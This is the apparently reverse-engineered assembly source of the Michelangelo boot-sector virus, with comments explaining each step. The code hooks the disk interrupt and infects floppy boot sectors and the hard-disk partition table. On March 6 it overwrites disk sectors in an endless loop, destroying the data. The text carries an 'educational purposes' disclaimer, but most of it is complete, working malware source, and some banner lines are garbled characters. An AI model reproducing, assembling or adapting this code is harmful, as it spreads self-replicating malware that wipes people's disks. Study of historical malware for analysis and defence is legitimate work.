2022-08-21 09:07:57 +00:00
TITLE MICHELANGELO , a STONED - derived Boot Virus
SUBTTL reverse engineered source code for MASM 5.1 / 6.0
PAGE 60 , 132
.RADIX 16
IF1
% Out <20> <> VIRAL SOFTWARE, DO NOT DISTRIBUTE WITHOUT NOTIFICATION ͻ
% Out <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
% Out <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Ŀ<EFBFBD> <C4BF> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
% Out <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Ĵ M I C H E L A N G E L O <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> İ<EFBFBD> <C4B0>
% Out <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ٰ<EFBFBD> <D9B0> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
% Out <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
% Out <20> <> <EFBFBD> Layout (C) 1992 164A12565AA18213165556D3125C4B962712 <20> ͼ
ENDIF
comment #
! !
! MICHELANGELO di Ludovico Buonarroti Si moni , born March 6 , 1475 , !
! Caprese , Republic of Florence ... !
! This boot bl ock / partition table virus will overwrite most of the !
! data on eiter floppy di sks or winchester drives at HIS birthday. !
! !
! This source code may only be used for educational purposes ! !
! !
! Do not offend the law by di stributing viral or trojan horse soft - !
! ware to anybody who is not aware of the potential danger of the !
! software he receives. !
! !
#
B equ < BYTE >
D equ < DWORD >
O equ < OFFSET >
P equ < PTR >
S equ < SHORT >
T equ < THIS >
v equ < OR >
W equ < WORD >
SAVE MACRO _1 , _2 , _3 , _4 , _5 , _6 , _7 , _8 , _9 , _a , _b , _c
IRP _X , < _1 , _2 , _3 , _4 , _5 , _6 , _7 , _8 , _9 , _a , _b , _c >
IFNB < _X >
IFIDN < _X > , < F >
PUSHF
ELSE
PUSH _X
ENDIF
ENDIF
ENDM
ENDM
REST MACRO _1 , _2 , _3 , _4 , _5 , _6 , _7 , _8 , _9 , _a , _b , _c
IRP _X , < _1 , _2 , _3 , _4 , _5 , _6 , _7 , _8 , _9 , _a , _b , _c >
IFNB < _X >
IFIDN < _X > , < F >
POPF
ELSE
POP _X
ENDIF
ENDIF
ENDM
ENDM
MOV_S MACRO S1 , S2
SAVE S2
REST S1
ENDM
TEXT SEG MENT PARA PUBLIC 'CODE'
ASSUME CS : TEXT , DS : TEXT , ES : TEXT
ORG 0
MICHELANGELO = 0306 ; ... his BCD birthday
;
SECSIZE = 0200 ;
WINCHESTER1 = 80 ;
bREAD = 2 ;
wREAD = bREAD SHL 8 ;
bWRITE = 3 ;
wWRITE = bWRITE SHL 8 ;
;
DT A = T B + SECSIZE ;
;
OR13OFF = T W + 04 C ;
OR13SEG = T W + 04 E ;
SYSRAM = T W + 413 ;
MOSTAT = T B + 43 F ;
;
PARTTBL = T B + 1B E ;
;
OFSFRM0 EQU 7 C00 ;
;
START: JMP INIT ;
;
; -----------------------------------------------------------------------------
;
SHDWRELOCOFS = T W + OFSFRM0 ;
RELOCOFS DW FRSTRLCTD ; Used by an indirect far jmp
SHDWRELOCSEG = T W + OFSFRM0 ; to the relocated code.
RELOCSEG DW ? ;
;
HEADS DB ? ;
;
CYLSEG DW ? ;
;
SHDW13OFS = T W + OFSFRM0 ;
BIOS13OFS DW ? ; Holds original (BIOS)
SHDW13SEG = T W + OFSFRM0 ; int 13 vector.
BIOS13SEG DW ? ;
;
; -----------------------------------------------------------------------------
;
I13_ISR: SAVE DS , AX ; INT 13 SR, save regs
OR DL , DL ; drive == A ?
JNZ I13_EX ; jmp if not
XOR AX , AX ; DS = 0
MOV DS , AX ;
TEST B P [ MOSTAT ], 01 ; test diskette motor status:
JNZ I13_EX ; jmp if motor is already on
REST AX , DS ;
SAVE F ; call old interrupt 13
CALL D P CS :[ BIOS13OFS ] ; routine
SAVE F ; save FLAGS
CALL TstInfF ; test & infect if necessary
REST F ; restore FLAGS
RETF 2 ; return, preserve FLAGS
;
I13_EX: REST AX , DS ; restore regs, jmp to old int
JMP D P CS :[ BIOS13OFS ] ; 13h routine
;
TstInfF: SAVE AX , BX , CX , DX , DS , ES , SI , DI ;
MOV_S DS , CS ; ES = DS = CS;
MOV_S ES , CS ;
MOV SI , 0004 ; SI = 4 (maxretry counter)
@ @ : MOV AX , wREAD v 1 ; AX : read one sector
MOV BX , O DTA ; BX : ... to buffer at CS:200
MOV CX , 0001 ; CX : ... cylinder 0, sector 1
XOR DX , DX ; DX : ... drive 0, head 0
SAVE F ; call old int13 routine by
CALL D P [ BIOS13OFS ] ; simulating an interrupt
JNB @ F ; jmp if there isn't an error,
XOR AX , AX ; else reset disk system ...
SAVE F ;
CALL D P [ BIOS13OFS ] ;
DEC SI ; decrement maxretry counter
JNZ @ B ; try it again if not zero,
JMP S TstInfF_EX ; else jmp to exit in haste.
;
@ @ : XOR SI , SI ; boot sector has been read,
CLD ; now test if disk already has
LODSW ; been infected. Assume infect-
CMP AX ,[ BX ] ; ion if the first 4 bytes of
JNZ @ F ; MICHI and the boot sector are
LODSW ; identical ...
CMP AX ,[ BX + 02 ] ;
JZ TstInfF_EX ; exit, disk already infected
@ @ : MOV AX , wWRITE v 1 ; AX : Write one sector
MOV DH , 01 ; DH : Head 1
MOV CL , 03 ; CL : Sector 3
CMP B P [ BX + 15 ], 0FDH ; adjust CL to E if the MEDIA ID
JZ @ F ; field of the original boot
MOV CL , 0 E ; sector is not FD (5.25",360K)
@ @ : MOV [ CYLSEG ], CX ; store CX
SAVE F ; and write the original boot
CALL D P [ BIOS13OFS ] ; sector to the floppy disk
JB TstInfF_EX ; if an error occured,
MOV SI , O PARTTBL + SECSIZE ; exit in haste.
MOV DI , O PARTTBL ; Copy the last bytes of
MOV CX , 0021 ; the original boot sector to
CLD ; the end of MICHI
REP MOVSW ;
MOV AX , wWRITE v 1 ; ... and write it to the boot
XOR BX , BX ; sector of the disk.
MOV CX , 0001 ;
XOR DX , DX ;
SAVE F ;
CALL D P [ BIOS13OFS ] ;
TstInfF_EX: REST DI , SI , ES , DS , DX , CX , BX , AX ; restore regs
RET ; ... return
;
; -----------------------------------------------------------------------------
;
INIT: XOR AX , AX ; Set DS and SS to 0000,
MOV DS , AX ; initialize SP to 7C00.
CLI ; That's because the boot
MOV SS , AX ; sector will loaded into
MOV AX , OFSFRM0 ; memory at 0:7C00 on every
MOV SP , AX ; IBM clone ...
STI ;
;
SAVE DS , AX ; save (0000:7C00) on stack
;
MOV AX ,[ OR13OFF ] ; Read old interrupt 13h vector
MOV [ SHDW13OFS ], AX ; and save it
MOV AX ,[ OR13SEG ] ;
MOV [ SHDW13SEG ], AX ;
;
MOV AX ,[ SYSRAM ] ; Substract 2 from base memory
DEC AX ; size variable in BIOS data
DEC AX ; area
MOV [ SYSRAM ], AX ;
;
MOV CL , 06 ; ES = AX = segment part of huge
SHL AX , CL ; ptr to area 2KB below last
MOV ES , AX ; base memory location
;
MOV [ SHDWRELOCSEG ], AX ; Store seg for ind far jmp
; to relocated code
MOV AX , O I13_ISR ; Store ptr to new interrupt
MOV [ OR13OFF ], AX ; 13 service routine to
MOV [ OR13SEG ], ES ; interrupt table,
MOV CX , O PARTTBL ; Relocate code,
MOV SI , OFSFRM0 ;
XOR DI , DI ;
CLD ;
REP MOVSB ;
JMP D P CS :[ SHDWRELOCOFS ] ; Jmp to FRSTRLCTD (relo-
; cated code)(BUGGY)
;
FRSTRLCTD: XOR AX , AX ; Reset the disk system
MOV ES , AX ;
INT 13 ;
MOV_S DS , CS ; ES = 0; DS = CS;
MOV AX , wREAD v 1 ; AH = 'Read', AL = # to read
MOV BX , OFSFRM0 ; ES:BX = 0:7C00 = xfer address
MOV CX ,[ CYLSEG ] ; CH = cylinder #, CL = sector #
;
CMP CX , + 07 ; Booted from winchester drive?
JNZ @ F ; jmp if not
MOV DX , 0000 v WINCHESTER1 ; DH = head 0, DL = drive C
INT 13 ; read the original boot sector
JMP S BOOTNOW ; and jmp
;
@ @ : MOV CX ,[ CYLSEG ] ; adjust cylinder/sector #s
MOV DX , 0100 ; DH = head 1, DL = drive A
INT 13 ; and read the sector ...
JB BOOTNOW ; (jmp on error, else continue)
MOV_S ES , CS ; ES = CS;
MOV AX , wREAD v 1 ; read partition table of 1st
MOV BX , O DTA ; hard disk into buffer located
MOV CX , 0001 ; just after the relocated code
MOV DX , 0000 v WINCHESTER1 ;
INT 13 ;
JB BOOTNOW ; (jmp on error, else continue)
XOR SI , SI ;
CLD ; test if hard disk is already
LODSW ; infected by comparing the 1st
CMP AX ,[ BX ] ; four bytes, if these are
JNZ INFECT_PARTTBL ; identical assume that the
LODSW ; hard disk already is infected
CMP AX ,[ BX + 02 ] ; and continue, else jmp to
JNZ INFECT_PARTTBL ; infect procedure
;
BOOTNOW: XOR CX , CX ; read date from real time clock
MOV AH , 04 ; (will _not_ work on old BIOSes
INT 1 A ; that do not implement it)
CMP DX , MICHELANGELO ; jmp if today is the
JZ BIRTHDAY ; birthday of MICHELANGELO
RETF ; 'return' to original boot sec-
; tor code
;
; -----------------------------------------------------------------------------
;
BIRTHDAY: XOR DX , DX ; DH = head 0; DL = drive A
MOV CX , 0001 ; CH = cylinder 0; CL = sector 1
BIRTHDAY_LOOP: MOV AX , wWRITE v 9 ; AH = 'Write'; AL = # of sectrs
MOV SI ,[ CYLSEG ] ; adjust AL ( # of sectors) and
CMP SI , + 03 ; DL (drive code) depending on
JZ @ F ; the type of the current boot
MOV AL , 0 E ; disk
CMP SI , + 0 E ;
JZ @ F ;
MOV DL , WINCHESTER1 ;
MOV B P [ HEADS ], 04 ;
MOV AL , 11 ;
@ @ : MOV BX , 5000 ; ES:BX -> 'Buffer' = 5000:5000
MOV ES , BX ;
INT 13 ;
JNB @ F ;
XOR AH , AH ; reset disk system if an error
INT 13 ; occured
@ @ : INC DH ; increment head (DH)
CMP DH ,[ HEADS ] ; head < maxhead? continue if
JB BIRTHDAY_LOOP ; equal, else loop
XOR DH , DH ;
INC CH ; increment cylinder and loop
JMP BIRTHDAY_LOOP ; ( goodbye data - cu never )
;
; -----------------------------------------------------------------------------
;
INFECT_PARTTBL: MOV CX , 0007 ; It's an HD, take sector 7 to
MOV [ CYLSEG ], CX ; save the original partition
MOV AX , wWRITE v 1 ; table and write it to disk
MOV DX , 0000 v WINCHESTER1 ;
INT 13 ;
JB BOOTNOW ; jmp on error
MOV SI , O PARTTBL + SECSIZE ; copy partition informa-
MOV DI , O PARTTBL ; tion to the end of MICHI
MOV CX , 0021 ;
REP MOVSW ;
MOV AX , wWRITE v 1 ; and write MICHI to the first
XOR BX , BX ; sector of the hard disk ...
INC CL ;
INT 13 ;
JMP BOOTNOW ;
;
; -----------------------------------------------------------------------------
;
ORG SECSIZE - 2 ; Bootblock / partition table /
DB 055 , 0 AA ; ROM signature
;
; -----------------------------------------------------------------------------
TEXT ENDS
END START